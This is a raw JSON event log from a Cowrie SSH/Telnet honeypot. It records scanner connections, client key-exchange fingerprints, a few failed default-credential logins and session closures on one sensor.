"aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:10.195293Z","src_ip":"210.79.142.221","session":"2a78359b862a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"power123","message":"login attempt [admin/power123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:11.202584Z","src_ip":"210.79.142.221","session":"2a78359b862a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:12.448668Z","src_ip":"210.79.142.221","session":"2a78359b862a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32940,"dst_ip":"159.203.135.109","dst_port":22,"session":"73dcaac52e17","protocol":"ssh","message":"New connection: 159.203.92.129:32940 (159.203.135.109:22) [session: 73dcaac52e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:15.759579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:15.764003Z","src_ip":"159.203.92.129","session":"73dcaac52e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:15.768643Z","src_ip":"159.203.92.129","session":"73dcaac52e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aokusawa","password":"aokusawa","message":"login attempt [aokusawa/aokusawa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:15.780097Z","src_ip":"159.203.92.129","session":"73dcaac52e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:16.787899Z","src_ip":"159.203.92.129","session":"73dcaac52e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d36e6fb33254","protocol":"telnet","message":"New connection: 34.38.123.195:64412 (159.203.135.109:23) [session: d36e6fb33254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:22.809332Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:22.815932Z","src_ip":"34.38.123.195","session":"d36e6fb33254","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:22.823135Z","src_ip":"34.38.123.195","session":"d36e6fb33254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09367966651916504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:22.902892Z","src_ip":"34.38.123.195","session":"d36e6fb33254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64418,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d69ddedf821","protocol":"telnet","message":"New connection: 34.38.123.195:64418 (159.203.135.109:23) [session: 6d69ddedf821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:22.977944Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64432,"dst_ip":"159.203.135.109","dst_port":23,"session":"457190f953c4","protocol":"telnet","message":"New connection: 34.38.123.195:64432 (159.203.135.109:23) [session: 457190f953c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.136498Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64444,"dst_ip":"159.203.135.109","dst_port":23,"session":"289f509eccf8","protocol":"telnet","message":"New connection: 34.38.123.195:64444 (159.203.135.109:23) [session: 289f509eccf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.291783Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0129f579c38","protocol":"telnet","message":"New connection: 34.38.123.195:64448 (159.203.135.109:23) [session: e0129f579c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.445814Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.61.170.164","src_port":25503,"dst_ip":"159.203.135.109","dst_port":23,"session":"f30ca7f41752","protocol":"telnet","message":"New connection: 171.61.170.164:25503 (159.203.135.109:23) [session: f30ca7f41752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.567488Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64462,"dst_ip":"159.203.135.109","dst_port":23,"session":"14984acb374f","protocol":"telnet","message":"New connection: 34.38.123.195:64462 (159.203.135.109:23) [session: 14984acb374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.600006Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64468,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d09c9a6a9f8","protocol":"telnet","message":"New connection: 34.38.123.195:64468 (159.203.135.109:23) [session: 1d09c9a6a9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.755855Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64482,"dst_ip":"159.203.135.109","dst_port":23,"session":"d371e046ffb7","protocol":"telnet","message":"New connection: 34.38.123.195:64482 (159.203.135.109:23) [session: d371e046ffb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:23.909406Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64488,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b809227f03","protocol":"telnet","message":"New connection: 34.38.123.195:64488 (159.203.135.109:23) [session: a9b809227f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.066652Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64494,"dst_ip":"159.203.135.109","dst_port":23,"session":"659a2edc5cc0","protocol":"telnet","message":"New connection: 34.38.123.195:64494 (159.203.135.109:23) [session: 659a2edc5cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.222617Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64508,"dst_ip":"159.203.135.109","dst_port":23,"session":"67cf0b88aaec","protocol":"telnet","message":"New connection: 34.38.123.195:64508 (159.203.135.109:23) [session: 67cf0b88aaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.454737Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64524,"dst_ip":"159.203.135.109","dst_port":23,"session":"2876010e191b","protocol":"telnet","message":"New connection: 34.38.123.195:64524 (159.203.135.109:23) [session: 2876010e191b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.608307Z"}
{"eventid":"cowrie.session.closed","duration":0.004859447479248047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.612969Z","src_ip":"34.38.123.195","session":"2876010e191b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64540,"dst_ip":"159.203.135.109","dst_port":23,"session":"062ff90fcc0a","protocol":"telnet","message":"New connection: 34.38.123.195:64540 (159.203.135.109:23) [session: 062ff90fcc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.764419Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64554,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be0f54f5d87","protocol":"telnet","message":"New connection: 34.38.123.195:64554 (159.203.135.109:23) [session: 1be0f54f5d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:24.920105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64566,"dst_ip":"159.203.135.109","dst_port":23,"session":"b664a9c03cc4","protocol":"telnet","message":"New connection: 34.38.123.195:64566 (159.203.135.109:23) [session: b664a9c03cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.077528Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64568,"dst_ip":"159.203.135.109","dst_port":23,"session":"d31ad0a9eb1b","protocol":"telnet","message":"New connection: 34.38.123.195:64568 (159.203.135.109:23) [session: d31ad0a9eb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.235332Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64580,"dst_ip":"159.203.135.109","dst_port":23,"session":"196ecf1f067d","protocol":"telnet","message":"New connection: 34.38.123.195:64580 (159.203.135.109:23) [session: 196ecf1f067d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.391228Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64582,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3a9ac1514f","protocol":"telnet","message":"New connection: 34.38.123.195:64582 (159.203.135.109:23) [session: ea3a9ac1514f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.545485Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64586,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac09c61d75d5","protocol":"telnet","message":"New connection: 34.38.123.195:64586 (159.203.135.109:23) [session: ac09c61d75d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.700383Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64592,"dst_ip":"159.203.135.109","dst_port":23,"session":"55c3e3298b8d","protocol":"telnet","message":"New connection: 34.38.123.195:64592 (159.203.135.109:23) [session: 55c3e3298b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:25.857014Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9924312795c4","protocol":"telnet","message":"New connection: 34.38.123.195:64606 (159.203.135.109:23) [session: 9924312795c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.011940Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.019589Z","src_ip":"34.38.123.195","session":"9924312795c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64618,"dst_ip":"159.203.135.109","dst_port":23,"session":"b08e9b987c26","protocol":"telnet","message":"New connection: 34.38.123.195:64618 (159.203.135.109:23) [session: b08e9b987c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.175929Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64630,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad688ba5687","protocol":"telnet","message":"New connection: 34.38.123.195:64630 (159.203.135.109:23) [session: 9ad688ba5687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.330470Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7efece138340","protocol":"telnet","message":"New connection: 34.38.123.195:64638 (159.203.135.109:23) [session: 7efece138340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.485390Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e75f637a5999","protocol":"telnet","message":"New connection: 34.38.123.195:64640 (159.203.135.109:23) [session: e75f637a5999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.639261Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64644,"dst_ip":"159.203.135.109","dst_port":23,"session":"1025ee09d9c3","protocol":"telnet","message":"New connection: 34.38.123.195:64644 (159.203.135.109:23) [session: 1025ee09d9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.793260Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3f616e65aa","protocol":"telnet","message":"New connection: 34.38.123.195:64660 (159.203.135.109:23) [session: 1c3f616e65aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.948426Z"}
{"eventid":"cowrie.session.closed","duration":0.005747318267822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:26.954056Z","src_ip":"34.38.123.195","session":"1c3f616e65aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64668,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c5898ac331","protocol":"telnet","message":"New connection: 34.38.123.195:64668 (159.203.135.109:23) [session: b5c5898ac331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:27.103832Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.123.195","src_port":64680,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c92ffbbd6df","protocol":"telnet","message":"New connection: 34.38.123.195:64680 (159.203.135.109:23) [session: 3c92ffbbd6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:27.259789Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4047","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4047] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:27.263739Z","src_ip":"34.38.123.195","session":"3c92ffbbd6df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":44628,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd651a4f8d08","protocol":"ssh","message":"New connection: 103.228.69.212:44628 (159.203.135.109:22) [session: fd651a4f8d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:30.795112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:30.800509Z","src_ip":"103.228.69.212","session":"fd651a4f8d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:31.031122Z","src_ip":"103.228.69.212","session":"fd651a4f8d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test123","password":"1234","message":"login attempt [test123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:31.983804Z","src_ip":"103.228.69.212","session":"fd651a4f8d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:33.216102Z","src_ip":"103.228.69.212","session":"fd651a4f8d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.82951021194458,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:37.396868Z","src_ip":"171.61.170.164","session":"f30ca7f41752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35742259025574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.007134Z","src_ip":"34.38.123.195","session":"7c0e95e7b3a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.466506958007812,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.011852Z","src_ip":"34.38.123.195","session":"ea3a9ac1514f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.314794778823853,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.015058Z","src_ip":"34.38.123.195","session":"ac09c61d75d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.626424074172974,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.017551Z","src_ip":"34.38.123.195","session":"196ecf1f067d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.787562131881714,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.022759Z","src_ip":"34.38.123.195","session":"d31ad0a9eb1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.106109142303467,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.026071Z","src_ip":"34.38.123.195","session":"1be0f54f5d87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.951689720153809,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.029071Z","src_ip":"34.38.123.195","session":"b664a9c03cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.267357349395752,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.031613Z","src_ip":"34.38.123.195","session":"062ff90fcc0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.578928470611572,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.033520Z","src_ip":"34.38.123.195","session":"67cf0b88aaec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.814927577972412,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.037369Z","src_ip":"34.38.123.195","session":"659a2edc5cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.130619764328003,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.039896Z","src_ip":"34.38.123.195","session":"d371e046ffb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.975687980651855,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.042224Z","src_ip":"34.38.123.195","session":"a9b809227f03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.4449245929718,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.044777Z","src_ip":"34.38.123.195","session":"14984acb374f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.29152250289917,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.047227Z","src_ip":"34.38.123.195","session":"1d09c9a6a9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.604291439056396,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.049981Z","src_ip":"34.38.123.195","session":"e0129f579c38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.760759830474854,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.052406Z","src_ip":"34.38.123.195","session":"289f509eccf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.91807508468628,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:06:40.054464Z","src_ip":"34.38.123.195","session":"457190f953c4","protocol":"telnet"}
